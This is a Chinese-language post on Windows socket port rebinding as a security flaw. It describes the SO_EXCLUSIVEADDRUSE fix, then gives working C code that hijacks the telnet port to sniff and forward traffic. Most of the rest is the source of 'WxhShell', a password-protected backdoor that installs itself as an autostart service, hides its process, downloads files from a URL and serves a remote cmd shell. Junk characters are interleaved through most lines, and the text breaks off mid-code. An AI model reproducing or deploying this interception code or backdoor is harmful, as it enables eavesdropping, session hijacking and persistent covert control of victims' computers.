在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
@T
}p. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ls^|j%$J YH:murJMZ saddr.sin_family = AF_INET;
%[ Z[ $@ous4& saddr.sin_addr.s_addr = htonl(INADDR_ANY);
uT#MVv~ . )[w_LHKI bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
mYE 8]4 U{)|z-n 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Po~u-5 RPXkf71iM 这意味着什么?意味着可以进行如下的攻击:
;;*'<\lP.j Q>G lA
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
1L4-hYtCj !oJ226>WI 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
f&n6;N UC u4S > 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Ah_Ttj ",qcqG( 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
b8>2Y'X na%DF@Rt# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
!6yyX}%o 'ot,6@~x> 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
~ sC< V viLK\>> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Ot^<:\<`G "#3p=}] #include
Tej&1'G #include
4!I;U>b b #include
F+lsza #include
k~YZT 8 DWORD WINAPI ClientThread(LPVOID lpParam);
pE^j Uxk6 int main()
ZeL v! {
_:ORu Vk WORD wVersionRequested;
5UTIGla DWORD ret;
aDae0$lc.S WSADATA wsaData;
P ]prrKZe, BOOL val;
f`[gRcZ- SOCKADDR_IN saddr;
zRz7*o&l SOCKADDR_IN scaddr;
.3tyNjsn\ int err;
`H^?jX>7 SOCKET s;
-kv'C6gB SOCKET sc;
&ND8^lR=Y; int caddsize;
^T{ww=/v HANDLE mt;
" iKX-VIl DWORD tid;
AzfYw'^&9 wVersionRequested = MAKEWORD( 2, 2 );
~@v<B
I err = WSAStartup( wVersionRequested, &wsaData );
Xyf7sHQ if ( err != 0 ) {
r=`]L-}V printf("error!WSAStartup failed!\n");
7p!w(N?s return -1;
I1TzPe }
=`
%iv|>r0 saddr.sin_family = AF_INET;
_F"o0K!u q3~RK[OCq //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
{e3XmVAI ]t23qA@^2 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
z1WF@Ej saddr.sin_port = htons(23);
Hf
]w if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{|jrYU.k~ {
4)IRm2G printf("error!socket failed!\n");
%"1*,g{ return -1;
QIcg4\d%s }
9T#JlV val = TRUE;
EE^
N01<"\ //SO_REUSEADDR选项就是可以实现端口重绑定的
cSkJlhwNn if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}'FNGn.~# {
B F,rZZL printf("error!setsockopt failed!\n");
4Y=sTXbFt return -1;
y*AB=d^ }
2u>
[[U1: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
B!#F!Wk" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
X`,]@c%C` //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
i;yr=S,a0/ ,z*-93H1 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Gz>M`M`[4 {
YTtuR` ret=GetLastError();
syseYt] printf("error!bind failed!\n");
`2j \(N, return -1;
nCj_4,O }
9 aE.jpN listen(s,2);
e/h2E dY while(1)
?;//%c8,. {
bay7%[BLB caddsize = sizeof(scaddr);
f\Fk+)e@ //接受连接请求
!.[N(%" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
)R QX1("O if(sc!=INVALID_SOCKET)
j.5;0b_L^ {
W/U_:^[- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
+Y:L4` if(mt==NULL)
[qMFLY$ {
:*{>=BD printf("Thread Creat Failed!\n");
K~?M?sa break;
Tt0:rQ. }
|&>!"27;w }
* MJl( CloseHandle(mt);
@k ~_ w# }
}iK_7g`yKa closesocket(s);
pxF<L\L?: WSACleanup();
E8:4Z$|c return 0;
}-e }
~[|zf*ZISG DWORD WINAPI ClientThread(LPVOID lpParam)
VHyP@JB
{
G?y'<+Awt SOCKET ss = (SOCKET)lpParam;
=t+{)d.w SOCKET sc;
pO~VI$7 unsigned char buf[4096];
^aW?0qsH SOCKADDR_IN saddr;
R]-$]koQO long num;
NW$C1(oT DWORD val;
ice7J2r_ DWORD ret;
K }]0<\N //如果是隐藏端口应用的话,可以在此处加一些判断
zW@OSKq4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
|?t6h 5Mt" saddr.sin_family = AF_INET;
)"&$.bWn saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
K-xmLEu saddr.sin_port = htons(23);
iz2I4 _N if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0'DlsC/`* {
CQq'x+{F printf("error!socket failed!\n");
Tz=YSQy$9 return -1;
4-?'gN_ }
A5lP%&tu( val = 100;
xTnd9'Pk`: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`f@VX
:aL} {
l*+"0 ret = GetLastError();
j'?^<4i return -1;
+!(W>4F }
)6S;w7 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`VT0wAe2; {
$J~~.PUXQ ret = GetLastError();
+Oae3VFf; return -1;
>gt_C' }
9"@P.8_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
jJpSn[{ {
]g>@r.Nc printf("error!socket connect failed!\n");
%HRFH closesocket(sc);
{(DD~~)D closesocket(ss);
3wS{@' return -1;
doCWJ }
kXj%thDx while(1)
M!=WBw8Y]a {
JJvf!] //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
s$ONht //如果是嗅探内容的话,可以再此处进行内容分析和记录
4{'0-7} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
^ExA num = recv(ss,buf,4096,0);
=jik33QV< if(num>0)
q4k)E send(sc,buf,num,0);
]~,V(K else if(num==0)
mErXdb|L break;
u5f+%!p num = recv(sc,buf,4096,0);
~urV`J if(num>0)
:'OCQ.[{s send(ss,buf,num,0);
J,s)Fu\j@ else if(num==0)
=5P_xQx break;
h_ ^,|@C" }
+[ _)i9a closesocket(ss);
8F$b/Z closesocket(sc);
!;SpQ28 return 0 ;
WC!b B }
9<An^lLK* 3:$hC8 xM1>kbo| ==========================================================
4>4*4!KR} v-85`h 下边附上一个代码,,WXhSHELL
ILUA'T=B0 VV(>e@Bc4 ==========================================================
9o.WJ (K$K;f$"r #include "stdafx.h"
S7Xr~5>X J&{qe@^ #include <stdio.h>
\C3ir & #include <string.h>
?VMj;+'tr #include <windows.h>
U~8.uldnF #include <winsock2.h>
XpzdvR1 #include <winsvc.h>
w;.'>ORC #include <urlmon.h>
ZQvpkO7}M mMqT-jT #pragma comment (lib, "Ws2_32.lib")
$+IE`(Ckf #pragma comment (lib, "urlmon.lib")
z8bDBoD6
q+{-p?;; #define MAX_USER 100 // 最大客户端连接数
U[zY0B #define BUF_SOCK 200 // sock buffer
,jBd3GdlZ #define KEY_BUFF 255 // 输入 buffer
H_'i.t 'SS Sf}>~z2 #define REBOOT 0 // 重启
|Xblz1>DF #define SHUTDOWN 1 // 关机
]McLace& ]1 #& J( #define DEF_PORT 5000 // 监听端口
gmfux
b/ NF1e>O:a< #define REG_LEN 16 // 注册表键长度
=2#a@D6Bl #define SVC_LEN 80 // NT服务名长度
i0uBb%GMT }DTpl?l // 从dll定义API
0(s0<9s% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
d\`A
^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
0lNVQxG typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
&nk6_{6
c typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
B$k<F8!% 8T'=lTJ // wxhshell配置信息
L!E/ )#{ struct WSCFG {
=R#K`H66j int ws_port; // 监听端口
cL&V2I5O char ws_passstr[REG_LEN]; // 口令
Q5e ,[1 int ws_autoins; // 安装标记, 1=yes 0=no
%t0Fx char ws_regname[REG_LEN]; // 注册表键名
R@``MC0 char ws_svcname[REG_LEN]; // 服务名
buo_H@@p{s char ws_svcdisp[SVC_LEN]; // 服务显示名
nnmn@t(%r char ws_svcdesc[SVC_LEN]; // 服务描述信息
w:Fi
2aJ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
8uoFV=bj\ int ws_downexe; // 下载执行标记, 1=yes 0=no
pez^]I char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
%3'4QmpR char ws_filenam[SVC_LEN]; // 下载后保存的文件名
~V?O%1)k?\ 9Ot;R?>( };
kZ+nL)YQ# PY:
l // default Wxhshell configuration
KO(+%>^R struct WSCFG wscfg={DEF_PORT,
XM3N>OR. "xuhuanlingzhe",
@.fuR# 1,
"G P!]3t "Wxhshell",
irCS}Dbw "Wxhshell",
euM7>
$` "WxhShell Service",
AiSO|!<.N "Wrsky Windows CmdShell Service",
lhTjG,U= "Please Input Your Password: ",
)W'l^R4W 1,
e# K =SV!H "
http://www.wrsky.com/wxhshell.exe",
H,qIHQW# "Wxhshell.exe"
hGcq>Cvf };
h&J6 n6;jIf| // 消息定义模块
;Jt*s char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
d$s1l char *msg_ws_prompt="\n\r? for help\n\r#>";
X'Q$v~/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
\_FX}1Wc2. char *msg_ws_ext="\n\rExit.";
T#^ char *msg_ws_end="\n\rQuit.";
>#B%gxff char *msg_ws_boot="\n\rReboot...";
gd[jYej'RP char *msg_ws_poff="\n\rShutdown...";
#M6@{R2_
char *msg_ws_down="\n\rSave to ";
o)'T#uK %y33evX/B char *msg_ws_err="\n\rErr!";
s
bd;Kn char *msg_ws_ok="\n\rOK!";
*52*IRH JxI}#iA char ExeFile[MAX_PATH];
L,.Ae
i9 int nUser = 0;
AwB ]0H HANDLE handles[MAX_USER];
1?"vKm int OsIsNt;
C$\|eC j <OF7:f SERVICE_STATUS serviceStatus;
au2ieZZ[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
Mn $TWhg' ?b 2 // 函数声明
F ^Rt
6Io int Install(void);
>/1N#S#9 int Uninstall(void);
~%_$e/T int DownloadFile(char *sURL, SOCKET wsh);
h@FDP#H int Boot(int flag);
xh[Mmq/R void HideProc(void);
CJk$o K{Q int GetOsVer(void);
H
r? G_L int Wxhshell(SOCKET wsl);
.&.j?kb void TalkWithClient(void *cs);
E\#hcvP int CmdShell(SOCKET sock);
$ x
6Rmd{ int StartFromService(void);
[o<R#f` int StartWxhshell(LPSTR lpCmdLine);
}6.R.*Imz :kq J~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Dna0M0 VOID WINAPI NTServiceHandler( DWORD fdwControl );
?ltTJ(Po
bLGgu# // 数据结构和表定义
ex7zg! SERVICE_TABLE_ENTRY DispatchTable[] =
l]inG^s {
/ZZo`
{wscfg.ws_svcname, NTServiceMain},
>|!F.W {NULL, NULL}
E#r6e+e1Q% };
_)Q)tOW ed4:r/Dpo // 自我安装
ji<b#YO4 int Install(void)
rH8^Fl&jT {
`GS!$9j char svExeFile[MAX_PATH];
mJR vC% HKEY key;
,rc5r3 strcpy(svExeFile,ExeFile);
y.2_5&e/ +:?-Xd:p // 如果是win9x系统,修改注册表设为自启动
DCM,|FE if(!OsIsNt) {
@Z~lM5n$8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
vL@N21u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?1i>b-> RegCloseKey(key);
K>6#MI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1Vt7[L* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_ 0%sYkUc RegCloseKey(key);
5j1}?0v_ return 0;
ii0AhQ }
wxVf6` }
4.7OX&L'G }
6ND,4'6 else {
Zalgg/. Kvv&# eO\ // 如果是NT以上系统,安装为系统服务
LGKkT?fcSC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Q^/66"Z:Z if (schSCManager!=0)
CFAz/x@% {
aiGT!2 SC_HANDLE schService = CreateService
2]C`S,) (
m `~/]QQ schSCManager,
mZ3i#a4 wscfg.ws_svcname,
6c>t|=Ss( wscfg.ws_svcdisp,
1HL}tG?+# SERVICE_ALL_ACCESS,
lZZ4 O( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Cq;t;qN,nQ SERVICE_AUTO_START,
d_gm' SERVICE_ERROR_NORMAL,
GM|gm-t<@ svExeFile,
+r *f2\S NULL,
5:E7nqsNhq NULL,
Lgpj<H[ NULL,
G*uy@s: NULL,
e*jt(p[Ge NULL
NmYSk6kWJ );
CUfD[un2D if (schService!=0)
e@*Gnh<& {
EC$wi|i CloseServiceHandle(schService);
QgO@oV* S CloseServiceHandle(schSCManager);
g
#u1.|s&p strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
JYOyz+wNd strcat(svExeFile,wscfg.ws_svcname);
)Yz`
6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
V;mKJ.d${ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
l;}D| 6+_W RegCloseKey(key);
)VQ:L:1t( return 0;
Ox.&tW%@ }
[[P?T^KT }
yZ)GP!cM4c CloseServiceHandle(schSCManager);
`YAqR?Xj_< }
%5 0}oD@ }
P}N%**>` }legh:/*?O return 1;
X+;Ivx }
sy+1xnz )(TaVHJR // 自我卸载
@|(mR-Jj int Uninstall(void)
qY`)W[ {
[5,aBf)X HKEY key;
> xkl7D <iunDL0 if(!OsIsNt) {
&G7JGar if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?Z
{4iF RegDeleteValue(key,wscfg.ws_regname);
B-ReBtN RegCloseKey(key);
)+RTA
y [k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1O*5>dkX;% RegDeleteValue(key,wscfg.ws_regname);
$wH{snX RegCloseKey(key);
b>=MG8 return 0;
^'!]|^ }
"8%B
(a
5A }
hH[UIe }
gN1b?_g else {
5s_7P"&H ))|Wm} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
\k / N/&; if (schSCManager!=0)
oh:q:St {
XWV) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
'Dv
`Gj if (schService!=0)
wv<D%nF2| {
DZ5%- if(DeleteService(schService)!=0) {
<at/z9b CloseServiceHandle(schService);
f@l$52f3D CloseServiceHandle(schSCManager);
z(d@!Cd return 0;
>J^bs &j }
;E>5<[aa CloseServiceHandle(schService);
wx nD3 }
^5j| CloseServiceHandle(schSCManager);
mv|eEz)r }
W!8g.r4u+, }
akHcN]sa2 _}R?&yO return 1;
U*`7 }
(g
xCP3 I1yZ7QY // 从指定url下载文件
}tv% int DownloadFile(char *sURL, SOCKET wsh)
*gfx'$ {
zQM3n =y HRESULT hr;
ce th )Xm char seps[]= "/";
BM!\U 6 char *token;
G[n^SEY! char *file;
y`wTw/5N char myURL[MAX_PATH];
CwZ+Pn0 char myFILE[MAX_PATH];
2%U)y;$m2 k v1q\ strcpy(myURL,sURL);
F%@(
$f token=strtok(myURL,seps);
*CZvi0& while(token!=NULL)
m d:$OC3 {
Y~EKMowI&e file=token;
RB.&,1 token=strtok(NULL,seps);
h\".TySz }
4wh_iO Jaz|b`KDj GetCurrentDirectory(MAX_PATH,myFILE);
Wm$(b2t strcat(myFILE, "\\");
N|K,{
p^li strcat(myFILE, file);
8Kt_irD send(wsh,myFILE,strlen(myFILE),0);
^IGutZov send(wsh,"...",3,0);
cZI )lX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
{E1g+>< if(hr==S_OK)
opxVxjTT# return 0;
S%gb1's else
5_Yl!= return 1;
2*Hw6@Jj Dw{rjK\TT' }
xO)vn\uJ c;c'E&9P] // 系统电源模块
R+k-mbvnt int Boot(int flag)
l[lUmE {
yPrp:%PS HANDLE hToken;
UOHU1.3$T TOKEN_PRIVILEGES tkp;
rU<NHFGj4 s''?:
+ if(OsIsNt) {
h1@|UxaE# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
}[XzM/t LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
HSGM&!5mW tkp.PrivilegeCount = 1;
c=]qUhnH tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
w6DK&@w`'/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
j_S/// if(flag==REBOOT) {
rOQhS]TP* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Bf!i(gM return 0;
s$`g%H> }
&}wrN(?w else {
<Z5ak4P if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
| n5F_RL return 0;
@Aa$k:_ }
!]1X0wo\ }
UH/) 4Wg else {
#R$d6N[H if(flag==REBOOT) {
|d^r"wbs3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
+;~JHx.~X return 0;
y;Xb."e~ }
sPY*2B else {
n^P=a'+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
\hN\px return 0;
dK'?<w$ }
V&`\ s5Q }
RN\4y{@ x)0g31 49 return 1;
9t@^P^}=\m }
?hUC#{ 4GWt.+{J$ // win9x进程隐藏模块
YVt#( jl void HideProc(void)
@s!9 T {
Kn3qq <"w;:Zs HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
wuE] ju< if ( hKernel != NULL )
/.<%y8v {
D>M
a3g pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
e^kccz2f ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
4DI.RK9 FreeLibrary(hKernel);
RG/M- }
h-
.V[]< 3qOq:ZkQ return;
(7BG~T }
qS<a5 `EA mqgA // 获取操作系统版本
m^cr-' int GetOsVer(void)
W5,e;4/hL {
ry9%Y3 OSVERSIONINFO winfo;
~qQSt% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#mg6F$E GetVersionEx(&winfo);
YW55iyM if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
lJ.:5$2H return 1;
ETvn$ Jdp else
%,f|H :+>u return 0;
RM\it"g }
"jBrPCB
8 'qcLK>E // 客户端句柄模块
nEu,1 int Wxhshell(SOCKET wsl)
!|6M ,Rk_ {
yO Ed8 SOCKET wsh;
K3*8JF7_F struct sockaddr_in client;
0<*R 0 DWORD myID;
O{Bll;C yf`Nh while(nUser<MAX_USER)
0[
MQp"z {
{<0=y#@u int nSize=sizeof(client);
i5wXT wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
+U/+iI>0 if(wsh==INVALID_SOCKET) return 1;
%!%G\nv \GYh"5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
T0BFit6 if(handles[nUser]==0)
[kwVxaI closesocket(wsh);
u&Q2/Y else
ol]"r5#Q_H nUser++;
v`3q0,, }
%^){Z,}M} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
P0O5CaR OZ 4uk.) return 0;
xG sg' }
-o c@$*t U-/-aNJ]U // 关闭 socket
3vRRL void CloseIt(SOCKET wsh)
|9>?{
B\a {
_kUf[& closesocket(wsh);
ozN#LIM>P nUser--;
R2{ y1b$l ExitThread(0);
*Pj[r }
F<SMU4]YdG d|5V"U]W; // 客户端请求句柄
j8WMGSrrF void TalkWithClient(void *cs)
9sYN7x {
$1<V'b[E +Hx$ABH SOCKET wsh=(SOCKET)cs;
[1{#a {4 char pwd[SVC_LEN];
MX!t/&X(n char cmd[KEY_BUFF];
p6~\U5rXm char chr[1];
Yw7+wc8R int i,j;
^Wb|Pl 0<f\bY02 while (nUser < MAX_USER) {
v+XB$j^H ={&}8VA if(wscfg.ws_passstr) {
~=HrD?-99p if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1 .\|,$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3S4'x4* //ZeroMemory(pwd,KEY_BUFF);
5J!ncLNm{ i=0;
3[8F:I0UL while(i<SVC_LEN) {
|"V]$s$ c s5{N+O)~S // 设置超时
Fw,'a fd_set FdRead;
g/H:`J struct timeval TimeOut;
c%p7?3Ry FD_ZERO(&FdRead);
S[p.`<{J FD_SET(wsh,&FdRead);
7_t\wmvYp TimeOut.tv_sec=8;
+$Q.N{LV TimeOut.tv_usec=0;
!GJnYDN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
y\-f{I if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Hkq""'Mx+w ap|7./yg if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Qw>ftle pwd
=chr[0]; T=lir%q
if(chr[0]==0xd || chr[0]==0xa) { |+Gv)Rvp
pwd=0; bvHF;Qywg
break; &k'J5YHm8H
} >y&Db
i++; f-6hcd@Ca
} E`vCYhf{
nNuv 0
// 如果是非法用户,关闭 socket ,_HSvs7-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z'cVq}vl
} Glz)-hjJ:n
V%k #M
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {#>>dILPr
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +#qW 0g
8@`"Zz M
while(1) { Z^t" !oY
H/!_D f
ZeroMemory(cmd,KEY_BUFF); 8GpPyG
],e
N}`.N
// 自动支持客户端 telnet标准 jys1Ki
j=0; s$g"6;_\
while(j<KEY_BUFF) { h<KE)^).
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U)IW6)q
cmd[j]=chr[0]; 9+'QH
if(chr[0]==0xa || chr[0]==0xd) { l :sZ
cmd[j]=0; E]zTd$v6
break; >uMj}<g#Z?
} n_G< /8
j++; FPM@%U
} 6Y!hz7D
1J8okBhZ
// 下载文件 __x2xtrH
if(strstr(cmd,"http://")) { q,b6).
send(wsh,msg_ws_down,strlen(msg_ws_down),0); dWR0tS6vR`
if(DownloadFile(cmd,wsh)) ,E&PIbDL1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P'Q|0lB
else S $wx>715
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N>,`l
} lMpjE
else { y+3<
]
N
~ Iin|
switch(cmd[0]) { }e}J6[wP
H(qDQqJHYy
// 帮助 W<Ms0
case '?': { 7:fC,2+
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0bY}<x(;
break; sTu6KMn
} tvNh@it:F
// 安装 +eiM6* /0
case 'i': { ^[]GsF
if(Install()) EL_rh TWw
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
i <KWFF#
else XXuIWIhm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dB{o-R
break; pJM~'tlHV
} 3#)I 7FG
// 卸载 Tac7+=T
case 'r': { JffjGf-o
if(Uninstall()) lq2Ah=FuN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hrfu\cI
else *Xh)22~T
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /cn=8%!N
break; z[kz[
} sZ`C
"1cX
// 显示 wxhshell 所在路径 >)g`;iO
case 'p': { j$%KKl8j
char svExeFile[MAX_PATH]; Cx>iSx
strcpy(svExeFile,"\n\r"); U\N|hw#f!!
strcat(svExeFile,ExeFile); ;XFo:?
send(wsh,svExeFile,strlen(svExeFile),0); d\FBY&C7b
break; Uloa]X=Im8
} //C3tW
// 重启 Wj2s+L7,
case 'b': { F@e9Dz|
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~T;FOB%w
if(Boot(REBOOT)) sSVgDQ~q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yya"*]*S
else { <uGc=Du
closesocket(wsh); asT*Z"/Q!
ExitThread(0); fIOI
} XA`<*QC<
break; =rBNEd
} @^47Qgj8U
// 关机 v-`RX;8
case 'd': { @eQIwz
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1+;Z0$edxz
if(Boot(SHUTDOWN)) ia.9 5H;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 63b?-.!b
else { ElNKCj<M
closesocket(wsh); Xo[={2_
ExitThread(0); Ktrqrl^IJ
} RhVQVj c
break; 8BUPvaP<[
} ve|:z
// 获取shell ${"+bWG2G!
case 's': { ?m3,e&pB5
CmdShell(wsh); xA|72!zk0P
closesocket(wsh); jkd'2
ExitThread(0); ^8S'=Bk
break; n(-1vN
} iN\D`9e
// 退出 ?`PG`|2~
case 'x': { zUg-M
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -)%l{@Mr
CloseIt(wsh); qaK9E@l
break; HorFQ?8
} k@1\ULo
// 离开 NFT&\6!o
case 'q': { a4gJ-FE
send(wsh,msg_ws_end,strlen(msg_ws_end),0); DyiyH%SSD
closesocket(wsh); CR$\$-
WSACleanup(); \$o5$/oU(
exit(1); c]]OV7;)>
break; 8r@_b
} <uUHr,#
} wfH#E2+pk
} 9pN},F91n:
`]L&2RS
// 提示信息 Ii"h:GY;\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )l}Gwd]h
} BM+v,hGY
} O)g\/uRy
>3R)&N
return; , VT&
} ml=tS,
-nP
y?>p"|
// shell模块句柄 AS[yNCsjC
int CmdShell(SOCKET sock) p<#WueR[
{ 5 rpX"(
STARTUPINFO si; feOX]g#
ZeroMemory(&si,sizeof(si)); 3ifQKKcR{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?Rlo<f:Mf
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +{
Q]$b
PROCESS_INFORMATION ProcessInfo; @.Pd3CB0
char cmdline[]="cmd"; zTODV<-`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #.|efdsG
return 0; m22FOjk\
} 0fhz7\a^_<
E<u6 js,
// 自身启动模式 I^h^QeBis
int StartFromService(void) $@t]0
{ d>j`|(\
typedef struct :q_(=EA
{ eH.~c3o
DWORD ExitStatus; 9sQ7wlK
DWORD PebBaseAddress; 4\qnCf3
